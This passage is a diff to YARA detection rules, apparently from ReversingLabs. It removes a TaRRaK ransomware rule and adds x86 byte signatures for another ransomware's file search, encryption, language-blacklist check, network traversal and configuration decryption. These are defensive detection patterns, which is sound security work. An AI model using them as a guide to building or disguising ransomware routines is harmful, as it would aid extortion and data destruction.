-            6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 5D ??
-            85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ??
-            ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 83 C4 ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B E5 5D C3
+		$find_files_v1_3 = {
+            85 C0 0F 84 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? FF D3 85 C0 0F 84 ?? ?? ?? ?? 56 68 ?? ??
+            ?? ?? FF D3 85 C0 0F 84 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? FF D3 85 C0 0F 84 ?? ?? ?? ??
+            56 68 ?? ?? ?? ?? FF D3 85 C0 0F 84 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? FF D3 85 C0 0F 84
+            ?? ?? ?? ?? 0F 28 05 ?? ?? ?? ?? 33 C9 0F 11 45 ?? C7 45 ?? ?? ?? ?? ?? 66 C7 45 ??
+            ?? ?? 66 90 8A 45 ?? 30 44 0D ?? 41 83 F9 ?? 72 ?? 33 C0 C6 45 ?? ?? 66 89 45 ?? 8D
+            45 ?? 50 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83
+            C4 ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF D3 85 C0 0F 84 ?? ?? ?? ?? 8D 85
+            ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF D3 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68
+            ?? ?? ?? ?? FF D3 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF D3
+            85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF D3 85 C0 0F 84 ?? ??
+            ?? ?? 8B 4D ?? 8D 95 ?? ?? ?? ?? 2B D1 0F B7 01 8D 49 ?? 66 89 44 11 ?? 66 85 C0 75
+            ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B F2 66 8B 02 83 C2 ??
+            66 85 C0 75 ?? 8D BD ?? ?? ?? ?? 2B D6 83 C7 ?? 0F 1F 40 ?? 66 8B 47 ?? 83 C7 ?? 66
+            85 C0 75 ?? 8B 85 ?? ?? ?? ?? 8B CA C1 E9 ?? F3 A5 8B CA 83 E1 ?? F3 A4 A8 ?? 75 ??
+            A8 ?? 74 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8D 8D
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 7D ?? 8B 35 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF D6
+            83 F8 ?? 0F 84 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? 57 FF 15 ?? ?? ?? ?? 5F
+            5E 5B 8B E5 5D C3
         }
-
-	condition:
-		uint16(0)==0x5A4D and ($main_routine) and ( all of ($search_files_p*)) and ($encrypt_files)
-}
-rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Tarrak : TC_DETECTION MALICIOUS MALWARE FILE
-{
-	meta:
-		description = "Yara rule that detects TaRRaK ransomware."
-		author = "ReversingLabs"
-		id = "a783df87-0c9b-5868-9af0-c32b11e8b71b"
-		date = "2021-09-06"
-		modified = "2021-09-06"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/ByteCode.MSIL.Ransomware.TaRRaK.yara#L1-L96"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "a8c4c4a501d94da94ae4a2e1eb2846e841249659be64dd45f46584885d000635"
-		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "TaRRaK"
-		tc_detection_factor = 5
-		importance = 25
-
-	strings:
-		$encrypt_files_p1 = {
-            03 28 ?? ?? ?? ?? 0A 16 0B 2B ?? 06 07 9A 0C 73 ?? ?? ?? ?? 0D 09 08 28 ?? ?? ?? ?? 7D
-            ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 09 FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ??
-            02 08 28 ?? ?? ?? ?? 07 17 58 0B 07 06 8E 69 32 ?? DE ?? 26 DE ?? 00 03 28 ?? ?? ?? ??
-            0A 16 0B 2B ?? 06 07 9A 13 ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ??
-            ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ??
-            ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ??
-            6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 02 11 ?? 28 ?? ?? ?? ??
-            07 17 58 0B 07 06 8E 69 32 ?? DE ?? 26 DE ?? 2A
+		$encrypt_files_v1_1 = {
+            55 8B EC 81 EC ?? ?? ?? ?? 33 C0 C7 45 ?? ?? ?? ?? ?? 53 56 57 8B F9 C7 45 ?? ?? ??
+            ?? ?? 89 7D ?? 66 89 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? C7
+            45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66
+            89 45 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85
         }
-		$encrypt_files_p2 = {
-            03 8E 69 17 59 0A 06 17 2F ?? 03 2A 03 06 95 0B 16 0D 1C 1F ?? 06 17 58 5B 58 13 ?? 2B
-            ?? 09 20 ?? ?? ?? ?? 58 0D 09 18 64 19 5F 13 ?? 16 13 ?? 2B ?? 03 11 ?? 17 58 95 0C 03
-            11 ?? 8F ?? ?? ?? ?? 25 4B 02 09 08 07 11 ?? 11 ?? 04 28 ?? ?? ?? ?? 58 25 13 ?? 54 11
-            ?? 0B 11 ?? 17 58 13 ?? 11 ?? 06 32 ?? 03 16 95 0C 03 06 8F ?? ?? ?? ?? 25 4B 02 09 08
-            07 11 ?? 11 ?? 04 28 ?? ?? ?? ?? 58 25 13 ?? 54 11 ?? 0B 16 11 ?? 25 17 59 13 ?? 32 ??
-            03 2A
+		$encrypt_files_v1_2 = {
+            C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 85 ?? ?? ?? ?? C7 85
+            ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F8 33 DB 89 7D ?? 33 F6 0F 1F 00 8B 84
+            B5 ?? ?? ?? ?? 85 C0 74 ?? 57 50 FF 15 ?? ?? ?? ?? 85 C0 B8 ?? ?? ?? ?? 0F 44 D8 46
+            81 FE ?? ?? ?? ?? 7C ?? 8B 7D ?? 33 C0 66 89 85 ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? 8D
+            85 ?? ?? ?? ?? 57 50 8D 85 ?? ?? ?? ?? 89 5D ?? 50 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7
+            85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ??
+            ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ??
+            ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ??
+            ?? 8B 1D ?? ?? ?? ?? 83 C4 ?? 33 F6 8D 85 ?? ?? ?? ?? 50 FF 75 ?? FF 15 ?? ?? ?? ??
+            85 C0 74 ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF D3 83 F8 ?? 75
+            ?? 8B CF E8 ?? ?? ?? ?? 83 F8 ?? 74 ?? 8B
         }
-		$encrypt_files_p3 = {
-            05 1B 64 04 18 62 61 04 19 64 05 1A 62 61 58 03 04 61 0E ?? 0E ?? 19 5F 6A 0E ?? 6E 61
-            D4 95 05 61 58 61 2A
+		$encrypt_files_v1_3 = {
+            CF E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? 83 FE ?? 7D ?? 46 EB ?? 6A ?? 68 ?? ?? ?? ?? 6A ??
+            6A ?? 6A ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B D8 89 5D ?? 83
+            FB ?? 75 ?? 8B 1D ?? ?? ?? ?? EB ?? FF 35 ?? ?? ?? ?? 6A ?? FF 35 ?? ?? ?? ?? 53 FF
+            15 ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 F8 ?? 75 ?? 53 FF 15 ?? ?? ?? ?? 33 C0 5F 5E 5B 8B
+            E5 5D C3 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D8 83 C4 ?? 85 DB 75 ?? FF 75 ?? FF 15
+            ?? ?? ?? ?? 33 C0 5F 5E 5B 8B E5 5D C3 8B 45 ?? 8B 75 ?? 89 43 ?? 8D 43 ?? 50 56 C7
+            43 ?? ?? ?? ?? ?? C7 43 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 53 FF 15 ?? ??
+            ?? ?? 83 C4 ?? 56 FF 15 ?? ?? ?? ?? 33 C0 5F 5E 5B 8B E5 5D C3 8B 4B ?? 8B 43 ?? 85
+            C9 7F ?? 7C ?? 83 F8 ?? 72 ?? 83 E8 ?? C7 43 ?? ?? ?? ?? ?? 89 43 ?? 8B 43 ?? 83 D9
+            ?? 89 43 ?? 8B 43 ?? 89 43 ?? 8D 83 ?? ?? ?? ?? 6A ?? 50 89 4B ?? C7 43 ?? ?? ?? ??
+            ?? 89 73 ?? E8 ?? ?? ?? ?? 6A ?? 8D 83 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 53 6A ?? 6A ??
+            8D 73 ?? 56 FF 73 ?? FF 15 ?? ?? ?? ?? 89 45 ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 3D ??
+            ?? ?? ?? 74 ?? 56 8B 35 ?? ?? ?? ?? FF D6 83 C4 ?? 53 FF D6 83 C4 ?? FF 75 ?? FF 15
+            ?? ?? ?? ?? 8B 45 ?? 5F 5E 5B 8B E5 5D C3 F0 FF 05 ?? ?? ?? ?? 8B CF E8 ?? ?? ?? ??
+            B8 ?? ?? ?? ?? F0 0F C1 05 ?? ?? ?? ?? 40 3D ?? ?? ?? ?? 7E ?? 8B 35 ?? ?? ?? ?? 6A
+            ?? FF D6 83 3D ?? ?? ?? ?? ?? 7D ?? 5F 5E B8 ?? ?? ?? ?? 5B 8B E5 5D C3
         }
-		$encrypt_files_p4 = {
-            03 8E 2D ?? 03 2A 02 02 02 03 17 28 ?? ?? ?? ?? 02 02 7B ?? ?? ?? ?? 16 28 ?? ?? ?? ??
-            28 ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 2A
+		$check_blacklisted_languages_v2 = {
+            FF D0 0F B7 C0 B9 2C 08 ?? ?? 66 3B C1 0F 84 ?? ?? ?? ?? B9 2C 04 ?? ?? 66 3B C1 74
+            ?? B9 2B 04 ?? ?? 66 3B C1 74 ?? B9 23 04 ?? ?? 66 3B C1 74 ?? B9 37 04 ?? ?? 66 3B
+            C1 74 ?? B9 3F 04 ?? ?? 66 3B C1 74 ?? B9 40 04 ?? ?? 66 3B C1 74 ?? B9 19 08 ?? ??
+            66 3B C1 74 ?? B9 19 04 ?? ?? 66 3B C1 74 ?? B9 28 04 ?? ?? 66 3B C1 74 ?? B9 42 04
+            ?? ?? 66 3B C1 74 ?? B9 43 08 ?? ?? 66 3B C1 74 ?? B9 43 04 ?? ?? 66 3B C1 74 ?? B9
+            22 04 ?? ?? 66 3B C1 0F 85 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 85 DB 0F 85 ?? ?? ?? ?? 64
+            A1 ?? ?? ?? ?? 8B 40 ?? 8B 40 ?? 8B 00 8B C8 89 45 ?? 8B D0 89 4D ?? 0F B7 59 ?? 33
+            FF 8B 71 ?? D1 EB C7 45 ?? ?? ?? ?? ?? 8D 04 5E 3B F0 0F 47 DF 85 DB 74 ?? 8A 0E 8D
+            76 ?? 0F BE D1 80 E9 ?? 8B C2 83 C8 ?? 80 F9 ?? 0F 47 C2 47 33 45 ?? 69 C0 ?? ?? ??
+            ?? 89 45 ?? 3B FB 75 ?? 3D ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? 8B 01 8B
+            C8 89 4D ?? 3B C2 74 ?? 83 79 ?? ?? 75 ?? 33 DB 89 1D ?? ?? ?? ?? A1 ?? ?? ?? ?? 85
+            C0 0F 85 ?? ?? ?? ?? 85 DB 0F 84 ?? ?? ?? ?? 8B 43 ?? 8B 4C 18 ?? 8D 04 19 89 45 ??
+            3B C3 74 ?? 33 C9 89 4D ?? 39 48 ?? 74 ?? 8B 40 ?? 8B 55 ?? 03 C3 89 45 ?? 0F 1F 40
+            ?? 8B 30 BF ?? ?? ?? ?? 8A 04 1E 03 F3 46 84 C0 74 ?? 0F BE D0 8D 76 ?? 2C ?? 8B CA
+            83 C9 ?? 3C ?? 8A 46 ?? 0F 47 CA 33 CF 69 F9 ?? ?? ?? ?? 84 C0 75 ?? 8B 4D ?? 8B 55
+            ?? 81 FF ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? 41 83 C0 ?? 89 4D ?? 89 45 ?? 3B 4A
+            ?? 75 ?? 33 C0 A3 ?? ?? ?? ?? 6A ?? FF D0 5F 5E 5B 8B E5 5D C3
         }
-		$find_files_p1 = {
-            73 ?? ?? ?? ?? 25 02 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 25
-            2D ?? 26 7E ?? ?? ?? ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 80 ?? ?? ?? ?? 28 ?? ?? ??
-            ?? 6F ?? ?? ?? ?? 2A
+		$create_net_host_trav_threads_v2 = {
+            55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 53 56 57 6A ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 64 A1 ?? ?? ?? ?? 83 C4 ?? 8B 40 ?? 50 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? A3 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? FF D0 85 C0 78 ?? A1 ?? ?? ?? ?? 8D 0C 85 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? A3 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? F0 FF 0D ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 8B 35
         }
-		$find_files_p2 = {
-            73 ?? ?? ?? ?? 25 1F ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 1B 28 ?? ?? ?? ?? 6F ?? ?? ??
-            ?? 25 1F ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 1F ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 1F
-            ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2A
+		$fnv1a_hashing_v2 = {
+            55 8B EC 83 EC ?? 64 A1 ?? ?? ?? ?? 8B 40 ?? 8B 40 ?? 8B 00 8B 50 ?? A1 ?? ?? ?? ??
+            89 55 ?? 85 C0 0F 85 ?? ?? ?? ?? 85 D2 75 ?? 33 C0 A3 ?? ?? ?? ?? 8B E5 5D C3 8B 42
+            ?? 8B 4C 10 ?? 8B 44 10 ?? 89 45 ?? 8D 04 11 89 45 ?? 3B C2 74 ?? 53 33 C9 56 57 89
+            4D ?? 39 48 ?? 74 ?? 8B 78 ?? 03 FA 8B 07 BE
         }
-		$change_desktop = {
-            1F ?? 28 ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 28 ?? ?? ?? ?? 06 28 ?? ?? ??
-            ?? 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 17 6F ?? ?? ?? ?? 25 72 ?? ?? ?? ?? 17
-            8C ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 16 8C ?? ?? ?? ?? 6F ?? ?? ?? ?? 1F ?? 16
-            06 19 28 ?? ?? ?? ?? 26 DE ?? 26 DE ?? 2A
+		$decrypt_configuration_v2_1 = {
+            55 8B EC 51 53 56 57 B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 03 C9 83 EA ?? 75 ?? 68 ?? ?? ??
+            ?? 68 ?? ?? ?? ?? BA 25 1B 00 00 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ??
+            ?? ?? ?? BA 78 0C 00 00 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ??
+            BA 39 28 00 00 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? BA F1 40
+            00 00 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? BA BF 11 00 00 B9
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? BA 28 02 00 00 B9 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? BA 3B 07 00 00 B9 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? BA A5 04 00 00 B9 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            83 C4 ?? BA 0F 03 00 00 B9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            83 C4 ?? E8 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 33 C9 BE ?? ?? ?? ?? 85 FF 74 ?? 8B 15 ??
+            ?? ?? ?? 0F 1F 44 00 ?? 80 3C 0A ?? 8D 46 ?? 0F 45 C6 41 8B F0 3B CF 72 ?? 8D 0C B5
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 89 1D ?? ?? ?? ?? 85 DB 74 ?? 33 FF 85 F6 74 ?? 90
+            B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 89 04 BB 47 3B FE 72 ?? 8B 0D ?? ??
+            ?? ?? 33 F6 E8 ?? ?? ?? ?? 85 C0 74 ?? 0F 1F 80 ?? ?? ?? ?? 8B 14 B3 8A 08 8D 40 ??
+            88 0A 8D 52 ?? 84 C9 75 ?? 33 C9 E8 ?? ?? ?? ?? 46 85 C0 75 ?? C7 04 B3 ?? ?? ?? ??
+            5F 5E 5B 8B E5 5D C3
         }
-		$drop_ransom_note = {
-            02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 2A 00 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 02 7B ?? ??
-            ?? ?? 6F ?? ?? ?? ?? 0D 12 ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 7E ?? ?? ??
-            ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0A 73 ?? ?? ?? ?? 0B 07 06 6F ?? ?? ?? ?? 26 07 6F ??
-            ?? ?? ?? 26 07 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 26 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ??
-            2B ?? 12 ?? 28 ?? ?? ?? ?? 13 ?? 07 11 ?? 6F ?? ?? ?? ?? 26 12 ?? 28 ?? ?? ?? ?? 2D ??
-            DE ?? 12 ?? FE 16 ?? ?? ?? ?? 6F ?? ?? ?? ?? DC 07 6F ?? ?? ?? ?? 0C 02 28 ?? ?? ?? ??
-            6F ?? ?? ?? ?? 13 ?? 2B ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 02 7B ?? ?? ?? ?? 28 ?? ??
-            ?? ?? 06 28 ?? ?? ?? ?? 11 ?? 02 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 08 28 ?? ?? ?? ?? DE ??
-            26 DE ?? 11 ?? 6F ?? ?? ?? ?? 2D ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC DE ?? 26
-            DE ?? 2A
+		$decrypt_configuration_v2_2 = {
+            55 8B EC 51 53 56 57 8B F2 8B F9 6B CE ?? E8 ?? ?? ?? ?? 8B C8 33 C0 89 4D ?? 85 C9
+            0F 84 ?? ?? ?? ?? 85 F6 74 ?? 83 FE ?? 72 ?? 0F 28 0D ?? ?? ?? ?? 8B CE 83 E1 ?? 66
+            0F 1F 84 00 ?? ?? ?? ?? 0F 10 04 07 66 0F EF C1 0F 11 04 07 0F 10 44 07 ?? 66 0F EF
+            C1 0F 11 44 07 ?? 0F 10 44 07 ?? 66 0F EF C1 0F 11 44 07 ?? 0F 10 44 07 ?? 66 0F EF
+            C1 0F 11 44 07 ?? 83 C0 ?? 3B C1 72 ?? 8B 4D ?? 3B C6 73 ?? 80 34 38 5F 40 3B C6 72
+            ?? 8B 5D ?? 8B D6 51 53 51 8B CF E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 0B E8 ?? ??
+            ?? ?? 8B F8 8B 45 ?? 89 38 8B 45 ?? 85 FF 74 ?? 8B 0B 8B F0 F3 A4 8B C8 BE ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 8B C6 5F 5E 5B 8B E5 5D C3
+        }
+		$encrypt_files_v2_p1 = {
+            55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 56 57 66 90 64 A1 ?? ?? ?? ?? 0F 57 C0 C7 44 24
+            ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 66 0F 13 44 24 ?? 8B 40 ?? 8B 40 ?? 8B 00 8B
+            50 ?? A1 ?? ?? ?? ?? 89 54 24 ?? 85 C0 0F 85 ?? ?? ?? ?? 85 D2 0F 84 ?? ?? ?? ?? 8B
+            42 ?? 8B 4C 10 ?? 8D 04 11 89 44 24 ?? 3B C2 74 ?? 33 C9 89 4C 24 ?? 39 48 ?? 74 ??
+            8B 40 ?? 03 C2 89 44 24 ?? 0F 1F 80 ?? ?? ?? ?? 8B 30 BF C5 9D 1C 81 8A 04 16 03 F2
+            46 84 C0 74 ?? 0F BE D0 8D 76 ?? 2C ?? 8B CA 83 C9 ?? 3C ?? 8A 46 ?? 0F 47 CA 33 CF
+            69 F9 93 01 00 01 84 C0 75 ?? 8B 54 24 ?? 8B 4C 24 ?? 81 FF ?? ?? ?? ?? 74 ?? 8B 74
+            24 ?? 41 8B 44 24 ?? 83 C0 ?? 89 4C 24 ?? 89 44 24 ?? 3B 4E ?? 75 ?? 33 C0 A3 ?? ??
+            ?? ?? 6A ?? 8D 4C 24 ?? 51 8D 4C 24 ?? 51 8D 4C 24 ?? 51 FF 35 ?? ?? ?? ?? FF D0 85
+            C0 0F 88 ?? ?? ?? ?? 8B 74 24 ?? 85 F6 0F 84 ?? ?? ?? ?? 8B 7C 24 ?? 8B 07 48 83 F8
+            ?? 0F 87 ?? ?? ?? ?? FF 24 85 ?? ?? ?? ?? 8B 74 24 ?? 8B 46 ?? 8D 04 48 0F B7 0C 10
+            8B 46 ?? 8D 04 88 8B 04 10 03 C2 EB ?? 83 7F ?? ?? 0F 85 ?? ?? ?? ?? 83 7F ?? ?? 0F
+            85 ?? ?? ?? ?? C7 07 ?? ?? ?? ?? 8B 4C 24 ?? 8B 54 24 ?? 68 ?? ?? ?? ?? 6A ?? 8B 41
+            ?? 89 42 ?? 8B 41 ?? 89 42 ?? 8B 44 24 ?? 6A ?? 8B 40 ?? 8D 88 ?? ?? ?? ?? F7 D8 23
+            C8 8B 44 24 ?? 89 48 ?? 8D 4C 24 ?? 8B 54 24 ?? 8B 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ??
+            8D 84 24 ?? ?? ?? ?? 6A ?? FF 35 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ??
+            ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 6A ??
+            68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? FF 76 ?? FF 76 ?? FF 15 ?? ?? ?? ?? 8B 4E
+            ?? 8D 44 24 ?? 68 ?? ?? ?? ?? 50 8B 46 ?? 81 C1 ?? ?? ?? ?? 03 C1 50 E8 ?? ?? ?? ??
+            8B 4C 24 ?? 83 C4 ?? 8B 74 24 ?? 89 74 24 ?? 6A ?? 8D 41 ?? 50 FF 71 ?? 8D 41 ?? FF
+        }
+		$encrypt_files_v2_p2 = {
+            71 ?? 50 51 6A ?? 6A ?? FF 76 ?? E8 ?? ?? ?? ?? FF D0 85 C0 0F 89 ?? ?? ?? ?? 83 C8
+            ?? F0 0F C1 46 ?? 0F 85 ?? ?? ?? ?? 6A ?? 6A ?? 56 E8 ?? ?? ?? ?? 8B 46 ?? 83 C4 ??
+            33 FF 85 C0 0F 84 ?? ?? ?? ?? 83 C6 ?? 8B 0E E8 ?? ?? ?? ?? 8B 44 24 ?? 8D 76 ?? 47
+            8B 40 ?? 3B F8 72 ?? 8B 74 24 ?? 85 C0 E9 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 56 ?? 8B C1
+            F0 0F B1 0A 83 F8 ?? 75 ?? 8B 46 ?? 89 44 24 ?? 0F B7 46 ?? 83 C0 ?? 8B C8 89 44 24
+            ?? E8 ?? ?? ?? ?? 8B F8 85 FF 74 ?? 0F B7 4E ?? 51 FF 76 ?? 8D 4F ?? 51 E8 ?? ?? ??
+            ?? 0F B7 46 ?? 83 C4 ?? 89 47 ?? 0F 57 C0 8D 44 24 ?? C6 07 ?? C7 47 ?? ?? ?? ?? ??
+            6A ?? FF 74 24 ?? 66 0F 13 44 24 ?? 57 50 FF 74 24 ?? E8 ?? ?? ?? ?? FF D0 8B CF E8
+            ?? ?? ?? ?? 8D 56 ?? 85 F6 0F 84 ?? ?? ?? ?? 83 C8 ?? F0 0F C1 02 0F 85 ?? ?? ?? ??
+            6A ?? 6A ?? 56 E8 ?? ?? ?? ?? 8B 4E ?? 83 C4 ?? C7 44 24 ?? ?? ?? ?? ?? 85 C9 0F 84
+            ?? ?? ?? ?? 8D 7E ?? 90 8B 0F E8 ?? ?? ?? ?? 8B 44 24 ?? 8D 7F ?? 8B 4E ?? 40 89 44
+            24 ?? 3B C1 72 ?? E9 ?? ?? ?? ?? 80 3D ?? ?? ?? ?? ?? 8D 56 ?? 74 ?? 8D 8C 24 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 8B 47 ?? 8B 57 ?? 50 50 8D 47 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B
+            C1 6A ?? EB ?? 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 47 ?? 8D 8C 24 ?? ?? ?? ?? 8B
+            57 ?? 50 50 8D 47 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ??
+            68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 54 24 ?? 83 C4 ?? 83 7A ?? ?? 8B 42 ?? 0F 8F ??
+            ?? ?? ?? 7C ?? 39 42 ?? 0F 87 ?? ?? ?? ?? 8B 74 24 ?? 8D 8C 24 ?? ?? ?? ?? 68 ?? ??
+            ?? ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 6A ?? FF 35 ?? ?? ??
+            ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 50 E8 ?? ??
+            ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 4E
+        }
+		$encrypt_files_v2_p3 = {
